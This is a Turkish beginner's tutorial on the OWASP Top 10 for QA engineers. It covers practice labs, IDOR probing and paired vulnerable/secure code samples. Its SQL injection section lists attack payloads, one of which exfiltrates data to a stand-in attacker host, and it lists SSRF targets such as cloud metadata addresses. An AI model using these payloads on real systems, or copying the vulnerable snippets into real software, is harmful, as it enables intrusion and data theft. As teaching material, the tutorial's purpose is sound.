OWASP Top 10: Yeni Başlayanlar için Derinlemesine İnceleme

Dünyanın en kritik web uygulama güvenlik riskleri hakkında bilmeniz gereken her şey — basitçe açıklanmış!


🎯 Bu Makale Kimin İçin?

Bu makale şunlar için hazırlandı:

  • Yeni başlayanlar — güvenlik öğrenmeye yeni başlayanlar
  • QA mühendisleri — OWASP Top 10’u anlamak isteyenler
  • Geliştiriciler — daha güvenli kod yazmak isteyenler
  • Öğrenciler — mülakatlara hazırlananlar

Ön bilgi gerekmiyor! Her şeyi basit benzetmelerle açıklayacağız.


📍 Buradasınız:

[✓] Makale 1: QA Temelleri
[✓] Makale 2: QA Pratiği  
[✓] Makale 3: QA için DSA
[✓] Makale 4: Otomasyon Framework'leri
[✓] Makale 5: CI/CD
[✓] Makale 6: Test Tasarım Teknikleri
[✓] Makale 7: Performans Testi
[✓] Makale 8: Apple'da İş Bulmak
[✓] Makale 9: Güvenlik Testi
[→] Makale 10: OWASP Top 10 Derinlemesine İnceleme

İlerleme: %100 + Bonus ✨

📚 Başlamadan Önce: Güvenlik 101

Zafiyet Nedir?

Zafiyet = programdaki bir hacker’ın kullanabileceği zayıf nokta. Şöyle düşünün:

🔓 Kilitlenmemiş kapı → Hacker girebilir
🪟 Açık pencere → Hacker tırmanabilir
📝 Notta şifre → Hacker çalabilir

OWASP Nedir?

OWASP = Open Web Application Security Project (Açık Web Uygulama Güvenliği Projesi)

  • 🌍 Kar amacı gütmeyen kuruluş
  • 📊 500,000+ uygulamadan veri toplar
  • 📋 Top 10 oluşturur — en tehlikeli zafiyetler listesi
  • 🔄 Her 3-4 yılda güncellenir

OWASP Top 10 — Hızlı Bakış

#İsim5 Yaşındakilere Açıklama
A01Bozuk Erişim Kontrolü”Başkasının odasına girdim!”
A02Kriptografik Hatalar”Sırlar açıkta duruyor”
A03Enjeksiyonlar”Metin kutusunda kötü komutlar”
A04Güvensiz Tasarım”Ev kilitsiz inşa edilmiş”
A05Yanlış Yapılandırma”Anahtarı paspasın altında bıraktılar”
A06Güncel Olmayan Bileşenler”Eski paslı kilit”
A07Kimlik Sorunları”Belge kontrolü yapılmadan içeri aldılar”
A08Bütünlük İhlali”Birisi paketi değiştirdi”
A09Loglama Eksikliği”Güvenlik kamerası yok”
A10İstek Sahteciliği (SSRF)“Güvenliği kapıyı açması için kandırdılar”

🔬 Nasıl Pratik Yapılır (Güvenli ve Yasal)

Zafiyetleri test etmeden önce güvenli bir ortama ihtiyacınız var. İşte nasıl kurulur:

Seçenek 1: OWASP WebGoat (Yeni başlayanlar için önerilir)

# Docker yükleyin, sonra çalıştırın:
docker run -p 8080:8080 webgoat/webgoat
# Açın: http://localhost:8080/WebGoat

Seçenek 2: DVWA (Damn Vulnerable Web Application)

docker run -d -p 80:80 vulnerables/web-dvwa
# Açın: http://localhost
# Giriş: admin / Şifre: password

Seçenek 3: Juice Shop (Modern)

docker run -p 3000:3000 bkimminich/juice-shop
# Açın: http://localhost:3000

⚠️ ÖNEMLİ: Bu teknikleri İZİN ALMADAN gerçek sitelerde ASLA test etmeyin! Bu yasadışıdır.


OWASP Nedir?

OWASP (Open Web Application Security Project), yazılım güvenliğini geliştirmek için çalışan kar amacı gütmeyen bir vakıftır. OWASP Top 10, yüzlerce kuruluştan gelen gerçek dünya verilerine dayanarak her 3-4 yılda bir güncellenen amiral gemisi farkındalık belgeleridir.

OWASP Top 10 Neden Önemli

📊 500,000+ uygulamadan gelen verilere dayalı
🌍 Web güvenliği için endüstri standardı
📋 Güvenlik sertifikaları için gerekli bilgi
💼 Çoğu QA/SDET iş görüşmesinde bekleniyor
🔒 Güvenlik testi için temel

OWASP Top 10 Evrimi

YılOdak Alanları
2017Injection #1, XSS ayrı
2021Broken Access Control #1, Yeni kategoriler eklendi
2024+Beklenen: API güvenliği, AI/ML güvenliği

A01:2021 - Bozuk Erişim Kontrolü

🏨 Basit Benzetme: Otel

Bir otel düşünün:

  • Size 101 numaralı odanın anahtarını verdiler
  • Ama bu anahtar aniden TÜM odalara açıyor!
  • 102, 103, 104 numaralı odalara girebilirsiniz…
  • İşte bu Broken Access Control (Bozuk Erişim Kontrolü)! 🏨

🎯 Genel Bakış

Broken Access Control #5’ten (2017) #1’e (2021) yükseldi. Kullanıcılar izinleri dışında hareket edebildiğinde ortaya çıkar.

Etki: Yetkisiz veri erişimi, yetki yükseltme, veri hırsızlığı, sistem ele geçirme.

🎮 Kendiniz Deneyin: IDOR Alıştırması

IDOR = Insecure Direct Object Reference (Güvensiz Doğrudan Nesne Referansı)

Adım 1: ID içeren bir URL bulun
   https://example.com/profile/123
   
Adım 2: ID'si 123 olan kullanıcı olarak giriş yapın

Adım 3: Sayıyı değiştirmeyi deneyin:
   https://example.com/profile/124
   https://example.com/profile/1
   https://example.com/profile/admin
   
Adım 4: Başkasının verilerini görüyorsanız — bu IDOR! 🐛

Ayrıca deneyin:
   /api/users/123/orders
   /api/users/124/orders  ← Başkasının siparişleri?
   
   /download?file=report_123.pdf
   /download?file=report_124.pdf  ← Başkasının raporu?

Gerçek Dünya Örnekleri

🔴 2019: Capital One İhlali - SSRF ile 100M kayıt açığa çıktı
🔴 2021: Parler Veri Sızıntısı - Sıralı ID'ler tüm gönderileri indirmeye izin verdi
🔴 2022: T-Mobile API - Saldırganlar 37M müşteri kaydına erişti

Erişim Kontrolü Zafiyet Türleri

1. Yatay Yetki Yükseltme (IDOR)

Kullanıcı A, Kullanıcı B’nin kaynaklarına erişir.

# SAVUNMASIZ: Sahiplik kontrolü yok
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = Order.query.get(order_id)
    return jsonify(order.to_dict())  # Herkes herhangi bir siparişe erişebilir!

# GÜVENLİ: Sahipliği doğrula
@app.route('/api/orders/<order_id>')
@login_required
def get_order(order_id):
    order = Order.query.get(order_id)
    if order.user_id != current_user.id:
        abort(403)  # Yasak
    return jsonify(order.to_dict())

2. Dikey Yetki Yükseltme

Normal kullanıcı admin yetkileri kazanır.

# SAVUNMASIZ: Sadece giriş kontrolü
@app.route('/admin/users')
@login_required
def admin_users():
    return User.query.all()  # Giriş yapmış herkes erişebilir!

# GÜVENLİ: Rol kontrolü
@app.route('/admin/users')
@login_required
@admin_required  # Dekoratör rolü kontrol eder
def admin_users():
    return User.query.all()

3. Eksik Fonksiyon Seviyesi Erişim Kontrolü

// Frontend admin düğmesini gizler ama...
// SAVUNMASIZ: API'de erişim kontrolü yok
app.post('/api/delete-user/:id', (req, res) => {
    User.delete(req.params.id);  // Rol kontrolü yok!
    res.json({ success: true });
});

// GÜVENLİ: Her zaman backend'de doğrula
app.post('/api/delete-user/:id', authenticate, authorize('admin'), (req, res) => {
    User.delete(req.params.id);
    res.json({ success: true });
});

Kapsamlı Erişim Kontrolü Test Paketi

import pytest
from app import create_app, db
from models import User, Order

class TestAccessControl:
    """Kapsamlı erişim kontrolü test paketi"""
    
    @pytest.fixture
    def setup(self):
        """Farklı rollerle test kullanıcıları oluştur"""
        self.admin = User(username='admin', role='admin')
        self.user1 = User(username='user1', role='user')
        self.user2 = User(username='user2', role='user')
        self.order1 = Order(user=self.user1, amount=100)
        self.order2 = Order(user=self.user2, amount=200)
        db.session.add_all([self.admin, self.user1, self.user2, 
                           self.order1, self.order2])
        db.session.commit()
    
    # ========== IDOR Testleri ==========
    
    def test_idor_order_access(self, client, setup):
        """Kullanıcı başka bir kullanıcının siparişine erişememeli"""
        # user1 olarak giriş yap
        client.post('/login', data={'username': 'user1', 'password': 'pass'})
        
        # Kendi siparişine erişim - başarılı olmalı
        response = client.get(f'/api/orders/{self.order1.id}')
        assert response.status_code == 200
        
        # user2'nin siparişine erişim - başarısız olmalı
        response = client.get(f'/api/orders/{self.order2.id}')
        assert response.status_code == 403
    
    # ========== Dikey Yükseltme Testleri ==========
    
    def test_regular_user_cannot_access_admin_panel(self, client, setup):
        """Normal kullanıcı admin endpoint'lerine erişememeli"""
        client.post('/login', data={'username': 'user1', 'password': 'pass'})
        
        admin_endpoints = [
            '/admin/dashboard',
            '/admin/users',
            '/admin/settings',
            '/api/admin/reports',
            '/api/admin/logs',
        ]
        
        for endpoint in admin_endpoints:
            response = client.get(endpoint)
            assert response.status_code in [401, 403], \
                f"Kullanıcı admin endpoint'ine erişti: {endpoint}"

A02:2021 - Kriptografik Hatalar

🎯 Genel Bakış

Daha önce “Hassas Veri Açığa Çıkması” olarak adlandırılıyordu. Hassas verilerin açığa çıkmasına yol açan kriptografi ile ilgili hatalara odaklanır.

Etki: Veri ihlalleri, kimlik hırsızlığı, uyumluluk ihlalleri (GDPR, PCI-DSS).

Gerçek Dünya Örnekleri

🔴 2013: Adobe İhlali - Zayıf şifreleme ile 153M şifre (3DES)
🔴 2016: LinkedIn - Tuzsuz SHA-1 ile 117M şifre
🔴 2019: Facebook - Düz metin olarak saklanan 600M şifre

Kriptografik Hata Türleri

1. Aktarımdaki Veriler

# SAVUNMASIZ: TLS olmadan HTTP
requests.post('http://api.example.com/login', 
              data={'password': 'secret123'})

# GÜVENLİ: Sertifika doğrulamalı HTTPS
requests.post('https://api.example.com/login', 
              data={'password': 'secret123'},
              verify=True)

2. Durumundaki Veriler

# SAVUNMASIZ: Düz metin şifre saklama
def create_user(username, password):
    user = User(username=username, password=password)  # Düz metin!
    db.save(user)

# SAVUNMASIZ: Zayıf hash'leme (MD5, SHA-1)
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()

# GÜVENLİ: Tuzlu bcrypt kullan
from bcrypt import hashpw, gensalt, checkpw

def create_user(username, password):
    hashed = hashpw(password.encode(), gensalt(rounds=12))
    user = User(username=username, password_hash=hashed)
    db.save(user)

A03:2021 - Enjeksiyon

🎯 Genel Bakış

Enjeksiyon açıkları, güvenilmeyen veriler bir komut veya sorgunun parçası olarak bir yorumlayıcıya gönderildiğinde ortaya çıkar.

Etki: Veri hırsızlığı, veri bozulması, hizmet reddi, tam sistem ele geçirme.

Enjeksiyon Saldırı Türleri

┌─────────────────────────────────────────────────────────┐
│                    ENJEKSİYON TÜRLERİ                   │
├─────────────────────────────────────────────────────────┤
│  SQL Injection      │ Veritabanı sorguları             │
│  NoSQL Injection    │ MongoDB, CouchDB sorguları       │
│  OS Command         │ Kabuk komutları                   │
│  LDAP Injection     │ Dizin servisleri                  │
│  XPath Injection    │ XML sorguları                     │
│  Template Injection │ Sunucu tarafı şablonlar (SSTI)   │
│  Header Injection   │ HTTP başlıkları                   │
│  Log Injection      │ Uygulama logları                  │
└─────────────────────────────────────────────────────────┘

SQL Injection Derinlemesine

SQL Injection Türleri

-- 1. UNION-based (veri çıkarma)
' UNION SELECT username, password FROM users--

-- 2. Error-based (hatalar aracılığıyla çıkarma)
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--

-- 3. Blind Boolean-based
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'--

-- 4. Blind Time-based
' AND IF(1=1, SLEEP(5), 0)--

-- 5. Out-of-band (DNS/HTTP sızdırma)
'; EXEC xp_dirtree '//attacker.com/share'--

XSS Derinlemesine

XSS Türleri

┌────────────────────────────────────────────────────────┐
│                     XSS TÜRLERİ                        │
├────────────────────────────────────────────────────────┤
│  Stored XSS     │ Script veritabanında saklanır       │
│                 │ Sayfa yüklendiğinde çalışır          │
│                 │ Örnek: Forum gönderisi, profil bio   │
├────────────────────────────────────────────────────────┤
│  Reflected XSS  │ Script URL/istekte                  │
│                 │ Yanıtta geri yansıtılır              │
│                 │ Örnek: Arama sonuçları, hata msg     │
├────────────────────────────────────────────────────────┤
│  DOM XSS        │ Script DOM'u doğrudan manipüle eder │
│                 │ Sunucu katılımı yok                  │
│                 │ Örnek: document.write(location)      │
└────────────────────────────────────────────────────────┘

A04:2021 - Güvensiz Tasarım

🎯 Genel Bakış

2021’de YENİ. Uygulama hataları yerine tasarım kusurlarına odaklanır. Bunlar sadece daha iyi kodla düzeltilemeyecek temel mimari sorunlardır.

Etki: İş mantığı kusurları, güvenlik kontrolü atlatma, dolandırıcılık, veri kaybı.

Güvensiz Tasarım Desenleri

1. Eksik Hız Sınırlama

# GÜVENSİZ TASARIM: Şifre sıfırlamada hız sınırlama yok
@app.route('/reset-password', methods=['POST'])
def reset_password():
    email = request.form['email']
    send_reset_email(email)  # Sınırsız çağrılabilir!
    return "Sıfırlama e-postası gönderildi"

# GÜVENLİ TASARIM: Hız sınırlama + doğrulama
from flask_limiter import Limiter

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/reset-password', methods=['POST'])
@limiter.limit("3 per hour")  # IP başına saatte maks 3 istek
def reset_password():
    email = request.form['email']
    
    if User.query.filter_by(email=email).first():
        send_reset_email(email)
    
    # Her zaman aynı yanıt döndür (enumeration önleme)
    return "E-posta mevcutsa sıfırlama bağlantısı gönderildi"

A05:2021 - Güvenlik Yanlış Yapılandırması

🎯 Genel Bakış

Güvenlik yanlış yapılandırması, güvenlik ayarları yanlış tanımlandığında, uygulandığında veya sürdürüldüğünde oluşur.

Etki: Bilgi ifşası, sistem ele geçirme, varsayılan kimlik bilgisi sömürüsü.

Güvenlik Başlıkları Referansı

# Temel Güvenlik Başlıkları

# 1. Strict-Transport-Security (HSTS)
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# 2. Content-Security-Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self'

# 3. X-Content-Type-Options
X-Content-Type-Options: nosniff

# 4. X-Frame-Options
X-Frame-Options: DENY

# 5. X-XSS-Protection
X-XSS-Protection: 1; mode=block

# 6. Referrer-Policy
Referrer-Policy: strict-origin-when-cross-origin

A06:2021 - Savunmasız ve Eski Bileşenler

🎯 Genel Bakış

Bilinen güvenlik açıkları olan bileşenleri kullanmak uygulama savunmasını zayıflatabilir.

Etki: Bilinen CVE’lerin sömürülmesi, veri ihlalleri, sistem ele geçirme.

Gerçek Dünya Örnekleri

🔴 2017: Equifax - Yamasız Apache Struts → 147M kayıt
🔴 2021: Log4Shell - On yılın en kritik zafiyeti
🔴 2022: Spring4Shell - Spring Framework RCE

Bileşen Zafiyet Testi

# JavaScript/Node.js
npm audit

# Python
pip-audit
safety check

# Docker görüntüleri
docker scan myimage:latest
trivy image myimage:latest

A07:2021 - Kimlik Doğrulama ve Tanımlama Hataları

🎯 Genel Bakış

Daha önce “Broken Authentication”. Kullanıcı kimliği onayı ve oturum yönetimi zayıflıkları.

Etki: Hesap ele geçirme, kimlik hırsızlığı, yetkisiz erişim.

Kimlik Doğrulama Zafiyetleri

┌────────────────────────────────────────────────────────┐
│         KİMLİK DOĞRULAMA ZAFİYETLERİ                   │
├────────────────────────────────────────────────────────┤
│  Zayıf şifreler       │ Karmaşıklık gereksinimleri yok│
│  Credential stuffing  │ Hız sınırlama yok             │
│  Session fixation     │ Session ID değişmiyor          │
│  Session hijacking    │ Güvensiz oturum token'ları    │
│  Broken "remember me" │ Kalıcı token sorunları        │
│  Password reset flaws │ Tahmin edilebilir token'lar   │
│  MFA bypass          │ Zayıf MFA uygulaması           │
└────────────────────────────────────────────────────────┘

A08:2021 - Yazılım ve Veri Bütünlüğü Hataları

🎯 Genel Bakış

YENİ kategori, A08:2017-Güvensiz Deserializasyonu CI/CD ve yazılım tedarik zinciri ile ilgili yeni risklerle birleştiriyor.

Etki: Uzaktan kod yürütme, tedarik zinciri saldırıları, kötü amaçlı güncellemeler.

Güvensiz Deserializasyon

# SAVUNMASIZ: Pickle deserializasyonu
import pickle

@app.route('/load-session')
def load_session():
    session_data = request.cookies.get('session')
    return pickle.loads(base64.b64decode(session_data))  # RCE!

# GÜVENLİ: JSON veya imzalı serializasyon kullan
import json
from itsdangerous import URLSafeSerializer

serializer = URLSafeSerializer(app.secret_key)

@app.route('/load-session')
def load_session():
    session_data = request.cookies.get('session')
    return serializer.loads(session_data)  # Güvenli!

A09:2021 - Güvenlik Loglama ve İzleme Hataları

🎯 Genel Bakış

Yetersiz loglama, tespit, izleme ve aktif yanıt, saldırganların sistemlere daha fazla saldırmasına izin verir.

Etki: Tespit edilmemiş ihlaller, gecikmiş olay yanıtı, uyumluluk hataları.

Ne Loglanmalı

┌────────────────────────────────────────────────────────┐
│              LOGLANACAK GÜVENLİK OLAYLARI              │
├────────────────────────────────────────────────────────┤
│  Kimlik doğrulama     │ Girişler, hatalar, kilitlemeler│
│  Yetkilendirme        │ Erişim reddedildi olayları    │
│  Girdi doğrulama      │ Reddedilen kötü amaçlı girdi  │
│  Oturum yönetimi      │ Oluşturma, yok etme           │
│  Hassas işlemler      │ Şifre değişiklikleri, ödemeler│
│  Admin işlemleri      │ Kullanıcı oluşturma, rol değiş│
│  Sistem olayları      │ Başlatma, kapatma, hatalar    │
└────────────────────────────────────────────────────────┘

A10:2021 - Sunucu Tarafı İstek Sahteciliği (SSRF)

🎯 Genel Bakış

2021’de YENİ. SSRF, bir web uygulaması kullanıcı tarafından sağlanan URL’yi doğrulamadan uzak kaynak getirdiğinde oluşur.

Etki: İç ağ taraması, bulut metadata erişimi, veri sızdırma.

SSRF Saldırı Senaryoları

┌────────────────────────────────────────────────────────┐
│                  SSRF SALDIRI HEDEFLERİ                │
├────────────────────────────────────────────────────────┤
│  Bulut metadata       │ 169.254.169.254 (AWS/GCP/Azure)│
│  İç servisler         │ localhost, 127.0.0.1, 10.x.x.x│
│  İç API'ler           │ İç mikroservisler             │
│  Veritabanı           │ localhost'ta Redis, MongoDB   │
│  Admin panelleri      │ İç admin arayüzleri           │
│  Dosya sistemi        │ file:// protokolü             │
└────────────────────────────────────────────────────────┘

Pratik Laboratuvarlar

Laboratuvar Ortamınızı Kurun

# 1. OWASP WebGoat
docker run -p 8080:8080 webgoat/webgoat

# 2. DVWA (Damn Vulnerable Web App)
docker run -d -p 80:80 vulnerables/web-dvwa

# 3. Juice Shop
docker run -p 3000:3000 bkimminich/juice-shop

# 4. PortSwigger Labs
# https://portswigger.net/web-security

Özet: OWASP Top 10 Hızlı Referans

#ZafiyetTest OdağıAraçlar
A01Broken Access ControlIDOR, yetki yükseltmeBurp, manuel
A02Cryptographic FailuresHTTPS, şifre saklamaSSLyze
A03InjectionSQLi, XSS, command injectionSQLMap, Burp
A04Insecure Designİş mantığı, hız sınırlamaManuel
A05Security MisconfigurationBaşlıklar, varsayılanlarNikto, curl
A06Vulnerable ComponentsBağımlılıklarnpm audit, Snyk
A07Authentication FailuresOturumlar, şifreler, MFABurp, manuel
A08Integrity FailuresDeserializasyon, CI/CDysoserial
A09Logging FailuresLog kapsamı, maskelemeLog inceleme
A10SSRFURL doğrulama, metadataBurp, curl

Sırada Ne Var?

  1. Her gün pratik yapın - WebGoat, DVWA, Juice Shop
  2. Sertifika alın - CompTIA Security+, CEH, OSCP
  3. Bug bounty’lere katılın - HackerOne, Bugcrowd
  4. Daha fazla okuyun - OWASP Testing Guide, Web Hacker’s Handbook
  5. Güncel kalın - OWASP’ı takip edin

OWASP Top 10’da ustalaşın ve güvenlik odaklı bir QA mühendisi olun! 🔐